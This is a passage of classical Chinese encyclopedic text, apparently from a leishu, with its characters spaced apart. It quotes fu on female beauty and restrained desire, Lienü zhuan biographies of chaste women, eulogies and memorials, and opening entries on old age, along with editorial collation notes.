闻 齐 馈 女 而 遐 逝 . 望 朝 歌 而 回 车 . 譬 犹 防 火 水 中 . 避 溺 山 隅 . 此 乃 未 见 其 可 欲 . 何 以 明 不 好 色 乎 . 若 臣 者 . 少 长 西 土 . 鳏 处 独 居 . 室 宇 辽 廓 . 莫 与 为 娱 . 臣 之 东 邻 . 有 一 女 子 . 玄 发 丰 艳 . 蛾 眉 皓 齿 . 登 垣 而 望 臣 . 三 年 于 兹 矣 . 臣 弃 而 不 许 . 闻 大 王 之 高 义 . 命 驾 来 东 . 途 出 郑 卫 . 道 由 桑 中 . 朝 发 溱 洧 . 暮 宿 上 宫 . 上 宫 闲 馆 . 寂 寞 重 虚 . 门 合 尽 掩 . 暧 若 神 居 . 芳 香 芬 烈 . 黼 帐 高 张 . 有 女 独 处 . 婉 若 在 床 . 臣 遂 抚 弦 . 为 幽 兰 之 曲 . 女 乃 歌 曰 . 独 处 室 兮 廓 无 依 . 有 美 人 兮 来 何 迟 . 玉 钗 挂 臣 冠 . 罗 袖 拂 臣 衣 . 茵 褥 重 陈 . 角 枕 横 施 . 女 乃 弛 其 上 服 . 表 其 中 衣 . 皓 体 呈 露 . 弱 骨 丰 肌 . 时 来 亲 臣 . 柔 滑 如 脂 . 臣 脉 定 于 内 . 心 正 于 怀 . 翻 然 高 举 . 与 彼 长 辞 .\n后 汉 张 衡 定 情 赋 曰 . 夫 何 妖 女 之 淑 丽 . 光 华 艳 而 秀 容 . 断 当 时 而 呈 美 . 冠 朋 匹 而 无 双 . 叹 曰 . 大 火 流 兮 草 虫 鸣 . 繁 霜 降 兮 草 木 零 . 秋 为 期 兮 时 已 征 . 思 美 人 兮 愁 屏 营 .\n后 汉 蔡 邕 协 初 赋 曰 . 其 在 近 也 . 若 神 龙 采 鳞 翼 将 举 . 其 既 远 也 . 若 披 云 缘 汉 见 织 女 . 立 若 碧 山 亭 亭 竖 . 动 若 翡 翠 奋 其 羽 . 众 色 燎 照 . 视 之 无 主 . 面 若 明 月 . 辉 似 朝 日 . 色 若 莲 葩 . 肌 如 凝 蜜 .\n又 检 逸 赋 曰 . 夫 何 姝 妖 之 媛 女 . 颜 炜 烨 而 含 荣 . 普 天 壤 其 无 俪 . 旷 千 载 而 特 生 . 余 心 悦 于 淑 丽 . 爱 独 结 而 未 并 . 情 罔 象 而 无 主 . 意 徙 倚 而 左 倾 . 昼 骋 情 以 舒 爱 . 夜 托 梦 以 交 灵 .\n魏 陈 琳 止 欲 赋 曰 . 媛 哉 逸 女 . 在 余 东 滨 . 色 曜 春 华 . 艳 过 硕 人 . 乃 遂 古 其 寡 俦 . 固 当 世 之 无 邻 . 允 宜 国 而 宁 家 . 实 君 子 之 攸 嫔 . 伊 余 情 之 是 悦 . 志 荒 溢 而 倾 移 . 宵 炯 炯 以 不 寐 . 昼 舍 食 而 忘 饥 . 叹 北 风 之 好 我 . 美 携 手 之 同 归 . 忽 日 月 之 徐 迈 . 庶 枯 杨 之 生 稊 . 道 攸 长 而 路 阻 . 河 广 瀁 而 无 梁 . 虽 企 予 而 欲 往 . 非 一 苇 之 可 航 . 展 余 辔 以 言 归 . 含 憯 瘁 而 就 床 . 忽 假 暝 其 若 寐 . 梦 所 欢 之 来 征 . 魂 翩 翩 以 遥 怀 . 若 交 好 而 通 灵 .\n魏 阮 瑀 止 欲 赋 曰 . 夫 何 淑 女 之 佳 丽 . 颜 ● ● 以 流 光 . 历 千 代 其 无 匹 . 超 古 今 而 特 章 . 执 妙 年 之 方 盛 . 性 聪 惠 以 和 良 . 禀 纯 洁 之 明 节 . 后 申 礼 以 自 防 . 重 行 义 以 轻 身 . 志 高 尚 乎 贞 姜 . 予 情 悦 其 美 丽 . 无 须 臾 而 有 忘 . 思 桃 夭 之 所 宜 . 愿 无 衣 之 同 裳 . 怀 纡 结 而 不 畅 兮 . 魂 一 夕 而 九 翔 . 出 房 户 以 踯 躅 . 睹 天 汉 之 无 津 . 伤 匏 瓜 之 无 偶 . 悲 织 女 之 独 勤 . 还 伏 枕 以 求 寐 . 庶 通 梦 而 交 神 . 神 惚 恍 而 难 遇 . 思 交 错 以 缤 纷 . 遂 终 夜 而 靡 见 . 东 方 旭 以 既 晨 . 知 所 思 之 不 得 . 乃 抑 情 以 自 信 .\n魏 王 粲 闲 邪 赋 曰 . 夫 何 英 媛 之 丽 女 . 貌 洵 美 而 艳 逸 . 横 四 海 而 无 仇 . 超 遐 世 而 秀 出 . 发 唐 棣 之 春 华 . 当 盛 年 而 处 室 . 恨 年 岁 之 方 暮 . 哀 独 立 而 无 依 . 情 纷 拿 以 交 横 . 意 惨 凄 而 增 悲 . 何 性 命 之 奇 薄 . 爱 两 绝 而 俱 违 . 排 空 房 而 就 衽 . 将 取 梦 以 通 灵 . 目 炯 炯 而 不 寐 . 心 忉 怛 而 惕 惊 .\n魏 应 玚 正 情 赋 曰 . 夫 何 媛 女 之 殊 丽 兮 . 姿 温 惠 而 明 哲 . 应 灵 和 以 挺 质 . 体 兰 茂 而 琼 洁 . 方 往 载 其 鲜 双 . 曜 来 今 而 无 列 . 发 朝 阳 之 鸿 晖 . 流 精 睇 而 倾 泄 . 既 荣 丽 而 冠 时 . 援 申 女 而 比 节 . 余 心 嘉 夫 淑 美 . 愿 结 欢 而 靡 因 . 承 窈 窕 之 芳 美 . 情 踊 跃 乎 若 人 . 魂 翩 翩 而 夕 游 . 甘 同 梦 而 交 神 . 昼 仿 徨 于 路 侧 . 宵 耿 耿 而 达 晨 . 清 风 厉 于 玄 序 . 因 飙 逝 于 中 唐 . 听 云 雁 之 翰 鸣 . 察 列 宿 之 华 辉 . 南 星 晃 而 电 陨 . 偏 雄 肃 而 特 飞 . 冀 腾 言 以 俯 音 . 嗟 激 迅 而 难 追 . 伤 住 禽 之 无 隅 . 悼 流 光 之 不 归 . 愍 伏 辰 之 方 逝 . 哀 吾 愿 之 多 违 . 步 便 旋 以 永 思 . 情 憀 栗 而 伤 悲 . 还 幽 室 以 假 寐 . 固 展 转 而 不 安 . 神 妙 妙 以 潜 翔 . 恒 存 游 乎 所 观 . 仰 崇 夏 而 长 息 . 动 哀 响 而 余 叹 . 气 浮 踊 而 云 馆 . 肠 一 夕 而 九 烦 .\n魏 陈 思 王 曹 植 静 思 赋 曰 . 夫 何 美 女 之 娴 妖 . 红 颜 晔 而 流 光 . 卓 特 出 而 无 匹 . 呈 才 好 其 莫 当 . 性 通 畅 以 聪 惠 . 行 密 而 妍 详 . 荫 高 岑 以 翳 日 . 临 渌 水 之 清 流 . 秋 风 起 于 中 林 . 离 鸟 鸣 而 相 求 . 愁 惨 惨 以 增 伤 . 悲 予 安 能 乎 淹 流 .\n晋 张 华 永 怀 赋 曰 . 美 淑 人 之 妖 艳 . 因 盻 睐 而 倾 城 . 扬 绰 约 之 丽 姿 . 怀 婉 娩 之 柔 情 . 超 六 列 于 往 古 . 迈 来 今 之 清 英 . 既 惠 余 以 至 欢 . 又 结 我 以 同 心 . 交 恩 好 之 款 固 . 接 情 爱 之 分 深 . 誓 中 诚 于 曒 日 . 要 执 契 以 断 金 . 嗟 夫 . 天 道 幽 昧 . 差 错 谬 于 参 差 . 怨 禄 运 之 不 遭 . 虽 义 结 而 绝 离 . 执 缠 绵 之 笃 趣 . 守 德 音 以 终 始 . 邀 幸 会 于 有 期 . 冀 容 华 之 我 俟 . 傥 皇 灵 之 垂 仁 . 长 收 欢 于 永 已 .\n梁 江 淹 丽 色 赋 曰 . 夫 绝 世 独 立 者 . 信 东 邻 之 佳 人 . 既 翠 眉 而 瑶 质 . 亦 颅 瞳 而 赪 唇 . 洒 金 花 及 珠 履 . 飒 绮 袂 与 锦 绅 . 色 练 练 而 欲 夺 . 光 炎 炎 而 若 神 . 非 气 象 之 可 譬 . 焉 影 响 而 能 陈 . 故 仙 藻 灵 葩 . 冰 华 玉 仪 . 其 始 见 也 . 若 红 莲 镜 池 . 其 少 进 也 . 如 彩 云 出 崖 . 五 光 徘 徊 . 十 色 陆 离 . 宝 过 珊 瑚 同 树 . 价 直 琼 草 共 枝 . 于 是 雕 台 绣 戺 . 当 衢 横 术 . 椒 庭 承 月 . 碧 户 延 日 . 架 虬 柱 之 严 丽 . 亘 虹 梁 之 峻 密 . 锦 幔 垂 而 香 寂 . 桂 烟 起 而 清 谧 . 女 乃 曜 邯 郸 之 步 . 媚 北 里 之 鸣 瑟 . 若 夫 红 华 舒 春 . 黄 鸟 飞 时 . 绀 蕙 初 软 . 赪 兰 始 滋 . 不 掔 蘅 带 . 无 倚 桂 旗 . 摘 芳 拾 橤 . 涵 咏 吐 辞 . 笑 月 出 于 陈 歌 . 感 蔓 草 于 卫 诗 . 气 炎 日 永 . 离 明 火 中 . 堇 荣 任 露 . 莲 华 胜 风 . 后 栏 丹 柰 . 前 轩 碧 桐 . 笙 歌 畹 右 . 琴 舞 池 东 . 至 乃 西 陆 始 秋 . 白 道 月 弦 . 金 波 照 户 . 玉 露 暧 天 . 气 以 湿 兮 晓 未 半 . 星 虽 流 兮 夜 何 央 . 忆 杂 佩 兮 且 一 念 . 怜 锦 衾 兮 以 九 伤 . 于 是 帐 必 蓝 田 之 宝 . 席 必 蒲 萄 之 文 . 馆 图 明 月 . 室 画 浮 云 . 言 必 入 媚 . 动 必 应 规 . 有 光 有 艳 . 如 合 如 离 . 气 柔 色 靡 . 神 凝 骨 奇 . 经 秦 历 赵 . 既 无 其 双 . 寻 楚 访 蔡 . 不 觌 其 容 . 非 天 下 之 至 丽 . 孰 能 与 于 此 哉 .\n梁 沈 约 丽 人 赋 曰 . 有 客 弱 冠 未 仕 . 缔 交 戚 里 . 驰 骛 王\n室 . 遨 游 许 史 . 归 而 称 曰 . 狭 斜 才 女 . 铜 街 丽 人 . 亭 亭\n似 月 . 嬿 婉 如 春 . 凝 情 待 价 . 思 尚 衣 巾 . 芳 逾 散 麝 . 色\n茂 开 莲 . 陆 离 羽 佩 . 杂 错 花 钿 . 响 罗 衣 而 不 进 . 隐 明 灯\n而 未 前 . 中 步 襜 而 一 息 . 顺 长 廊 而 回 归 . 池 翻 荷 而 纳 影\n. 风 动 竹 而 吹 衣 . 薄 暮 延 伫 . 宵 分 乃 至 . 出 闇 入 光 . 含\n羞 隐 媚 . 垂 罗 曳 锦 . 鸣 瑶 动 翠 . 来 脱 薄 妆 . 去 留 余 腻 .\n沾 妆 委 露 . 理 鬓 清 渠 . 落 花 入 领 . 微 风 动 裾 .\n列 女 传 曰 . 楚 昭 贞 姜 . 齐 侯 之 女 . 楚 昭 王 之 夫 人 也 . 昭 王 出 游 . 留 夫 人 渐 台 之 上 而 去 . 王 闻 江 水 大 至 . 使 使 者 迎 夫 人 . 忘 持 符 . 使 者 至 . 请 夫 人 出 . 夫 人 曰 . 大 王 与 宫 人 约 . 命 曰 . 召 宫 ○ 列 女 传 四 . 太 平 御 览 四 百 四 十 一 . 宫 下 有 人 字 . 必 以 符 . 今 使 者 不 持 符 . 妾 不 敢 从 使 者 而 行 . 妾 闻 之 . 贞 女 之 义 不 犯 约 . 勇 者 不 畏 死 . 守 节 而 已 . 妾 知 从 使 者 必 生 . 留 必 死 也 . 然 妾 不 敢 弃 约 . 越 义 而 求 生 . 大 水 至 而 死 . 乃 号 曰 贞 姜 .\n又 曰 . 楚 白 贞 姬 者 . 楚 白 胜 之 妻 也 . 白 公 早 死 . 其 妻 纺 绩 不 嫁 . 吴 王 闻 其 美 . 使 大 夫 操 金 百 镒 . 白 璧 一 双 . 以 聘 焉 . 因 以 辎 軿 三 十 乘 迎 之 . 将 以 为 夫 人 . 夫 人 辞 曰 . 白 公 无 恙 时 . 妾 幸 得 充 后 宫 . 执 箕 帚 . 今 白 公 不 幸 而 死 . 妾 愿 守 其 坟 墓 . 以 终 天 年 . 今 王 赐 金 璧 之 聘 . 夫 人 之 位 . 非 愚 妾 之 所 闻 也 . 吴 王 贤 其 守 节 而 有 义 . 号 曰 楚 贞 姬 .\n又 曰 . 鲁 秋 胡 洁 妇 者 . 鲁 秋 胡 之 妻 也 . 秋 胡 子 既 纳 之 . 五 日 而 去 . 宦 于 陈 . 五 年 乃 归 . 未 至 家 . 见 路 傍 有 一 美 妇 人 . 方 采 桑 . 秋 胡 子 下 车 ● 日 . ○ 列 女 传 五 . 太 平 御 览 四 百 四 十 一 作 谓 曰 . 若 曝 独 采 桑 . 吾 行 道 远 . 愿 托 桑 阴 下 一 食 . 妇 人 采 桑 不 辍 . 秋 胡 子 谓 曰 . 力 田 不 如 逢 少 年 . 力 桑 不 如 见 公 卿 . 今 吾 有 金 . 愿 与 夫 人 . 妇 人 曰 . 采 桑 力 作 . 纺 织 经 织 . 以 供 衣 食 . 奉 二 亲 . 养 夫 子 而 已 矣 . 吾 不 愿 人 之 金 也 . 秋 胡 子 还 家 . 奉 金 遗 母 . 母 使 人 呼 其 妇 . 妇 乃 向 采 桑 妇 . 妇 乃 自 投 于 河 而 死 .\n又 曰 . 梁 寡 高 行 者 . 梁 之 寡 妇 . 早 寡 不 嫁 . 梁 贵 人 争 欲 取 之 . 不 能 得 . 梁 王 闻 之 . 使 相 聘 之 . 高 行 曰 . 妾 之 夫 . 不 幸 先 犬 马 填 沟 壑 . 妾 宜 以 身 荐 棺 椁 . 守 养 幼 孤 . 不 得 专 意 . 妾 闻 妇 人 之 义 . 一 往 不 改 . 以 全 贞 信 之 节 . 弃 义 而 从 利 . 无 以 为 人 . 乃 援 镜 操 刀 . 以 割 其 鼻 . 曰 . 妾 已 刑 余 之 人 . 殆 可 释 矣 . 王 高 其 节 . 号 曰 高 行 .\n又 曰 . ○ 太 平 御 览 四 百 四 十 引 作 皇 甫 谧 列 女 传 . 下 罗 静 . 景 奇 妻 . 相 登 妻 . 刘 长 卿 妻 . 同 . 汉 中 赵 高 ○ 御 览 作 嵩 . 妻 者 . 同 郡 张 氏 之 女 也 . 字 礼 脩 . 姑 严 酷 无 道 . 小 怒 则 骂 . 大 怒 则 罚 . 礼 脩 恭 承 . 初 无 愠 色 . 引 过 自 咎 . 姑 后 知 之 . 乃 变 意 . 厚 加 爱 敬 . 后 姑 疾 病 . 其 女 来 视 . 临 困 . 却 女 曰 . 我 困 矣 . 绝 命 当 在 贤 妇 之 手 . 妇 前 抱 持 乃 绝 . 后 郡 内 遭 贼 . 高 死 君 难 . 礼 脩 以 碧 涂 面 . 乱 头 称 痛 . 怀 刀 在 身 . 意 气 烈 决 . 贼 不 迫 也 . 叔 父 矜 其 年 壮 . 欲 更 嫁 之 . 礼 脩 慷 慨 . 至 死 为 誓 .\n又 曰 . 丹 阳 罗 静 者 . 广 德 罗 勤 之 女 也 . 为 同 县 朱 旷 所 聘 . 昏 礼 未 成 . 勤 遇 病 丧 没 . 邻 比 断 绝 . 旷 触 冒 经 营 . 寻 复 病 亡 . 静 感 其 义 . 遂 誓 不 嫁 . 有 杨 祚 者 . 多 将 人 众 . 自 往 纳 币 . 静 乃 逃 窜 . 祚 劫 其 弟 妹 . 静 惧 为 祚 所 害 . 乃 出 见 之 曰 . 实 感 朱 旷 为 妾 父 而 死 . 是 以 托 身 亡 者 . 自 誓 不 贰 . 辛 苦 之 人 . 愿 君 哀 而 舍 之 . 如 其 不 然 . 请 守 之 以 死 . 乃 舍 之 .\n又 曰 . 蜀 景 奇 妻 者 . 罗 氏 之 女 . 字 贡 罗 . 奇 亡 无 嗣 . 贡 罗 专 心 供 养 . 父 青 以 许 同 郡 宰 诗 . 贡 罗 与 父 书 . 陈 其 情 志 . 历 年 不 归 . 后 青 受 远 使 . 诗 白 州 . 告 县 . 发 遣 贡 罗 . 贡 罗 乃 由 径 道 . 诣 州 白 诉 . 言 意 慷 慨 . 请 死 不 从 . 州 嘉 而 许 焉 .\n又 曰 . 犍 为 相 登 妻 者 . 名 度 . 适 登 一 年 而 寡 . 守 令 吴 厚 . 因 入 问 度 . 度 引 刀 截 发 . 县 长 吏 复 遣 媒 介 . 度 曰 . 前 已 断 发 . 谓 之 表 心 . 何 复 有 斯 言 哉 . 欲 取 刀 割 鼻 . 左 右 救 止 .\n又 曰 . 沛 郡 刘 长 卿 妻 者 . 生 一 男 . 字 玉 . 玉 五 岁 而 长 卿 卒 . 惧 见 谤 ○ 太 平 御 览 四 百 四 十 作 诱 . 嫁 . 既 不 归 宁 . 兄 弟 时 往 . 防 渐 远 疑 . 言 不 及 外 . 玉 年 十 五 死 . 乃 援 刀 割 耳 . 明 己 不 二 . 在 丧 侧 者 . 无 不 感 伤 .\n又 曰 . ○ 本 条 太 平 御 览 三 百 六 十 七 引 . 作 列 女 后 传 . 又 与 下 许 升 妻 条 . 同 见 御 览 四 百 四 十 引 . 只 作 列 女 传 . 当 均 出 皇 甫 谧 书 . 吴 孙 奇 妻 者 . 广 陵 范 慎 女 . 名 姬 . 年 十 八 . 配 奇 一 年 而 奇 亡 . 慎 以 姬 少 寡 无 子 . 迎 还 其 家 . 姬 不 肯 归 . 迎 者 以 父 母 命 迫 之 . 姬 遂 操 刀 . 割 耳 及 鼻 曰 . 父 迎 我 者 . 不 过 以 我 年 少 而 色 美 . 今 已 残 矣 . 行 将 焉 如 . 于 是 迎 者 空 反 .\n又 曰 . 广 汉 廖 伯 妻 者 . 同 郡 段 氏 之 女 . 名 纪 配 . 性 聪 敏 . 达 于 诗 书 . 进 退 闲 暇 . 父 母 将 有 所 许 . 纪 配 曰 . 梁 高 行 割 鼻 告 诚 . 以 全 其 节 . 求 生 害 仁 . 仁 者 不 为 . 纪 配 生 见 礼 义 . 岂 独 使 古 人 擅 名 哉 . 作 诗 三 章 . 以 讽 父 母 . 乃 援 刀 断 指 .\n又 曰 . 吴 许 升 妻 者 . 吕 氏 之 女 . 名 荣 . 升 游 诞 博 戏 . 不 治 操 行 . 荣 躬 勤 家 业 . 以 养 其 姑 . 劝 升 学 问 . 未 尝 不 垂 泪 而 言 . 荣 父 疾 升 . 呼 荣 . 欲 改 嫁 之 . 荣 曰 . 命 之 所 遭 . 义 无 离 贰 . 终 不 肯 归 . 升 后 感 悔 . 寻 师 远 学 . 四 年 乃 归 . 遂 致 名 誉 . 为 州 所 辟 . 遇 劫 被 害 . 荣 手 刃 杀 升 者 . 以 首 还 祭 .\n又 曰 . ○ 按 本 条 亦 见 后 汉 书 列 女 传 . 当 亦 出 皇 甫 谧 书 . 河 南 贞 义 者 . 乐 羊 子 之 妻 . 羊 子 出 学 . 贞 义 截 发 卖 . 以 供 其 费 . 后 羊 子 得 遗 金 一 饼 . 以 与 贞 义 . 贞 义 曰 . 妾 闻 君 子 不 以 利 洿 行 . 羊 子 惭 而 弃 之 . 邻 人 欲 犯 贞 义 而 劫 其 姑 . 贞 义 操 刀 而 出 . 邻 人 曰 . 从 者 可 . 不 从 者 杀 汝 姑 . 贞 义 仰 天 而 叹 . 以 刀 刎 颈 而 死 . 太 守 以 大 夫 礼 葬 之 . 号 曰 贞 义 .\n又 曰 . ○ 太 平 御 览 四 百 四 十 一 引 作 皇 甫 谧 列 女 传 . 留 子 直 妻 者 . 汉 末 扰 攘 . 随 夫 之 从 父 . 客 居 豫 章 . 从 父 与 贼 交 通 . 郡 收 族 之 . 妻 年 少 有 色 . 太 守 客 请 以 为 妻 . 守 死 不 从 . 以 还 太 守 . 付 吏 杀 之 . 临 死 颜 色 不 变 . 口 无 怨 言 . 郡 吏 及 客 怜 . 更 还 救 请 免 . 既 得 活 . 乃 自 割 耳 . 久 之 . 太 守 闻 其 夫 在 . 遂 还 其 妻 .\n又 曰 . ○ 太 平 御 览 五 百 引 作 列 女 后 传 . 会 稽 翟 素 者 . 翟 氏 之 女 也 . 受 聘 . 未 及 配 适 . 遭 乱 . 贼 欲 犯 之 . 临 之 以 刃 . 曰 . 不 从 者 . 今 即 死 矣 . 素 曰 . 我 可 得 而 杀 . 不 可 得 而 辱 . 贼 遂 杀 素 .\n【 诗 】 晋 傅 玄 秋 胡 诗 曰 . 秋 胡 纳 令 室 . 三 日 宦 他 乡 . 皎 皎 洁 妇 姿 . 泠 泠 守 空 房 . 嬿 娩 不 终 夕 . 别 如 参 与 商 . 精 诚 驰 万 里 . 既 至 两 相 忘 . 行 人 悦 令 颜 . 借 息 此 树 傍 . 言 以 逢 卿 喻 . 遂 下 黄 金 装 .\n宋 颜 延 之 秋 胡 诗 曰 . 燕 居 未 及 好 . 良 人 顾 有 违 . 脱 巾 千 里 外 . 结 绶 登 王 畿 . 戒 徒 在 昧 旦 . 左 右 来 相 依 . 蚕 月 观 时 暇 . 桑 野 多 经 过 . 佳 人 从 所 务 . 窈 窕 援 高 柯 . 倾 城 谁 不 顾 . 弭 节 停 中 阿 . 南 金 岂 不 重 . 聊 自 意 所 轻 . 义 心 多 苦 调 . 密 此 金 玉 声 . 如 何 久 为 别 . 百 行 愆 诸 己 . 愧 彼 行 露 诗 . 甘 之 长 川 涘 .\n【 赞 】 晋 左 九 嫔 班 婕 妤 赞 曰 . 恂 恂 班 女 . 恭 让 谦 虚 . 辞 辇 进 贤 . 辩 祝 理 诬 . 形 图 丹 青 . 名 侔 樊 虞 .\n又 孟 轲 母 赞 曰 . 邹 母 善 导 . 三 徙 成 教 . 邻 止 庠 序 . 俎 豆 是 效 . 断 织 激 子 . 广 以 坟 奥 . 聪 达 知 礼 . 敷 述 圣 道 .\n又 狂 接 舆 妻 赞 曰 . 接 舆 高 洁 . 怀 道 行 谣 . 妻 亦 冰 清 . 同 味 玄 昭 . 遗 俗 荣 津 . 志 远 神 辽 .\n又 荆 武 王 夫 人 邓 曼 赞 曰 . 天 道 恶 盈 . 极 数 则 微 . 邈 哉 邓 曼 . 心 映 祸 几 . 睹 兆 叹 亡 . 考 德 知 衰 . 贤 智 卓 殊 . 邈 哉 难 追 .\n又 齐 杞 梁 妻 赞 曰 . 遭 命 不 改 . 逢 时 险 屯 . 夫 卒 莒 场 . 郊 吊 不 宾 . 哀 崩 高 城 . 诉 情 穹 旻 . 遂 赴 淄 川 . 托 躯 清 津 .\n又 齐 义 继 母 赞 曰 . 圣 教 玄 化 . 礼 贵 信 诚 . 至 哉 继 母 . 行 合 典 经 . 不 遗 宿 诺 . 义 割 私 情 . 表 德 来 裔 . 垂 则 后 生 .\n又 鲁 敬 姜 赞 曰 . 邈 矣 敬 姜 . 含 德 之 英 . 于 行 则 高 . 于 理 斯 明 . 垂 训 于 宗 . 厉 发 奇 声 . 宣 尼 三 叹 . 万 代 遗 馨 .\n晋 滔 钮 ○ 按 当 作 钮 滔 . 详 下 荐 环 夫 人 书 . 母 孙 氏 公 孙 夫 人 序 赞 曰 . 夫 人 姓 公 孙 氏 . 会 稽 剡 人 也 . 夫 人 资 三 灵 之 淳 懿 . 诞 华 宗 之 澄 粹 . 奇 朗 照 于 龆 . 四 教 成 于 弱 笄 . 慈 恩 温 恭 . 行 有 秋 霜 之 洁 . 祗 心 制 节 . 性 同 青 春 之 和 . 敦 悦 宪 章 . 动 遵 礼 规 . 居 室 则 道 齐 师 氏 . 有 行 则 德 配 女 仪 . 礼 服 有 盈 . 笾 豆 无 阙 . 猗 欤 夫 人 . 天 姿 特 挺 . 行 高 冰 洁 . 操 与 霜 整 . 性 扬 兰 芳 . 德 振 玉 颖 . 猗 彼 琼 林 . 奇 翰 有 集 . 展 彼 硕 媛 . 含 德 来 缉 . 动 与 礼 游 . 静 以 义 立 .\n【 碑 】 晋 张 林 陈 夫 人 碑 曰 . 夫 人 姓 徐 . 吴 郡 嘉 兴 人 也 . 夫 人 少 膺 灵 粹 . 诞 兹 淑 贞 . 聪 哲 明 敏 . 温 恭 柔 顺 . 体 仁 足 以 长 人 . 嘉 德 足 以 合 礼 . 恭 顺 不 隋 其 心 . 明 烈 寔 备 其 体 . 若 夫 柔 惠 清 顺 . 中 和 圣 善 . 妇 德 既 备 . 母 道 亦 践 . 志 厉 冰 玉 . 厥 德 靡 显 . 靡 靡 其 操 . 翼 翼 其 仁 . 明 景 内 映 . 朗 节 外 新 . 芳 徽 风 迈 . 淑 慎 其 身 .\n【 书 】 晋 钮 ○ 原 讹 钧 . 据 明 本 改 . 按 晋 书 九 十 六 虞 潭 母 孙 氏 传 . 卒 谥 定 夫 人 . 此 当 是 与 虞 潭 母 书 . 钮 滔 晋 松 阳 令 . 见 隋 书 经 籍 志 集 部 . 滔 母 与 虞 定 夫 人 荐 环 夫 人 书 曰 . 琼 闻 兴 贤 崇 德 . 圣 主 令 典 . 旌 善 表 操 . 有 邦 盛 务 . 伏 见 族 祖 吴 国 亡 民 富 春 孙 彦 妻 环 . 少 厉 令 节 . 服 膺 道 教 . 逮 适 孙 氏 . 恪 居 妇 职 . 宗 姻 有 声 . 奉 礼 未 周 . 彦 母 丧 殒 . 丧 殒 半 年 . 彦 奄 亡 没 . 环 率 礼 奉 终 . 抗 义 明 节 . 倾 竭 私 产 . 以 供 葬 送 . 礼 服 既 终 . 前 无 立 子 . 家 欲 改 醮 . 誓 而 不 许 .\n【 解 】 晋 湛 方 生 上 贞 女 解 曰 . 伏 见 西 道 县 治 下 里 龙 怜\n. 年 始 弱 笄 . 出 适 皮 氏 . 未 逾 半 年 . 婿 京 殒 没 . 京 兄 弟\n三 人 . 相 寻 凋 落 . 外 靡 期 功 之 亲 . 内 绝 胤 嗣 之 继 . 怜 货\n其 父 母 之 资 . 躬 亲 机 杼 之 勤 . 数 年 之 间 . 三 丧 俱 举 . 四\n节 蒸 尝 . 于 今 不 辍 . 志 存 匪 石 之 固 . 行 无 片 言 之 玷 . 贤\n良 屡 聘 . 誓 而 弗 许 . 守 节 穷 居 . 于 今 五 十 余 年 矣 . 详 观\n之 遗 烈 . ○ 句 有 脱 文 . 书 于 记 传\n者 . 或 毁 发 肤 之 体 . 以 绝 求 者 之 望 . 或 自 经 沟 中 . 苟 全\n不 夺 之 志 . 虽 操 存 而 身 亡 . 行 立 而 形 亏 . 寡 能 兼 全 其 道\n. 始 终 若 斯 者 也 . 怜 盖 草 莱 之 妇 人 耳 . 生 于 幽 谷 之 中 .\n长 于 荒 榛 之 下 . 目 不 见 尺 素 之 文 . 耳 不 闻 今 古 之 说 . 师\n心 率 己 . 蹈 兹 四 德 . 抑 可 谓 禀 灵 山 岳 . 自 然 天 知 者 矣 .\n而 彤 管 未 挥 . 令 问 不 彰 . 非 所 以 表 贤 崇 善 . 激 扬 贞 风 也\n.\n释 名 曰 . 九 十 曰 鲐 背 . 或 曰 黄 耇 . 或 曰 冻 梨 . 或 曰 鲵 齿 . 或 曰 眉 寿 .\n易 曰 . 枯 杨 生 荑 . 老 夫 得 其 女 妻 .\n尚 书 曰 . 五 福 . 一 曰 寿 .\n礼 记 曰 . 百 年 曰 期 颐 .\n又 曰 . 凡 养 老 . 有 虞 氏 以 燕 礼 . 夏 后 氏 以 飨 礼 . 殷 人 以 食 礼 . 周 人 脩 而 兼 用 之 .\n又 曰 . 六 十 养 于 国 . 七 十 养 于 学 . 八 十 拜 君 命 . 一 坐 再 至 .\n又 曰 . 五 十 始 衰 . 六 十 非 肉 不 饱 . 七 十 非 帛 不 暖 .\n又 曰 . 五 十 杖 于 家 . 六 十 杖 于 乡 . 七 十 杖 于 国 . 八 十 杖 于 朝 .\n毛 诗 曰 . 执 子 之 手 . 与 子 偕 老 .\n又 曰 . 酌 以 大 斗 . 以 祈 黄 耇 . 黄 耇 鲐 背 . 以 引 以 翼 .\n左 传 曰 . 烛 之 武 对 郑 伯 曰 . 臣 之 壮 也 . 犹 不 如 人 . 今 老 矣 . 无 能 为 . 事 具 游 说 篇 .\n又 曰 . 晋 悼 大 夫 ○ 太 平 御 览 三 百 八 十 三 作 夫 人 . 食 舆 人 . 绛 县 人 或 年 长 矣 . 使 问 之 年 . 曰 . 臣 小 人 也 . 不 知 纪 年 . 臣 生 之 岁 . 正 月 甲 子 朔 . 四 百 有 四 十 五 甲 子 矣 . 其 年 ○ 御 览 作 季 . 于 今 三 之 一 也 . 使 问 诸 师 旷 . 曰 . 七 十 三 矣 .\n论 语 谶 曰 . 尧 舜 游 首 山 . 观 河 渚 . 乃 有 五 老 游 河 渚 . 曰 . 河 图 将 浮 . 五 老 飞 为 流 星 . 上 入 昴 .\n国 语 曰 . 昔 卫 武 公 年 九 十 有 五 . 警 于 国 曰 . 苟 在 朝 者 . 无 谓 我 老 耄 而 舍 我 也 . 必 恭 恪 于 朝 . 朝 夕 以 警 戒 我 . 闻 一 二 之 言 . 必 诵 志 而 纳 之 . 以 训 导 我 .\n周 书 曰 . 文 王 召 太 子 发 曰 . 呜 呼 . 我 身 老 矣 . 吾 语 汝 . 我 所 保 与 守 . 守 之 哉 . 传 之 子 孙 . 事 具 帝 王 部 .\n尚 书 中 候 曰 . 齐 桓 公 封 禅 . 谓 管 仲 曰 . 寡 人 日 暮 . 仲 父 年 艾 .\n尸 子 曰 . 汤 问 伊 尹 曰 . 寿 可 为 耶 . 伊 尹 曰 . 王 欲 之 则 可 为 . 弗 欲 则 不 可 为 也 .\n孟 子 曰 . 伯 夷 避 纣 . 居 北 海 之 滨 . 闻 文 王 作 . 兴 曰 . 盍 归 乎 来 . 吾 闻 西 伯 善 养 老 者 . 太 公 避 纣 . 居 东 海 之 滨 . 闻 文 王 作 . 兴 曰 . 盍 归 乎 来 . 吾 闻 西 伯 善 养 老 者 . 二 老 者 . 天 下 之 大 老 也 .\n战 国 策 曰 . 昔 者 秦 魏 为 与 国 . 齐 楚 约 攻 魏 . 魏 使 人 求 救 于 秦 . 冠 盖 相 望 . 秦 救 不 出 . 魏 人 有 唐 且 者 . 年 九 十 余 . 谓 魏 王 曰 . 老 臣 请 西 说 秦 . 令 兵 出 . 可 乎 . 曰 . 敬 诺 . 遂 约 车 遣 之 . 且 说 秦 王 . 秦 王 遂 发 兵 救 之 .\n史 记 曰 . 秦 始 王 谓 王 翦 曰 . 将 军 老 矣 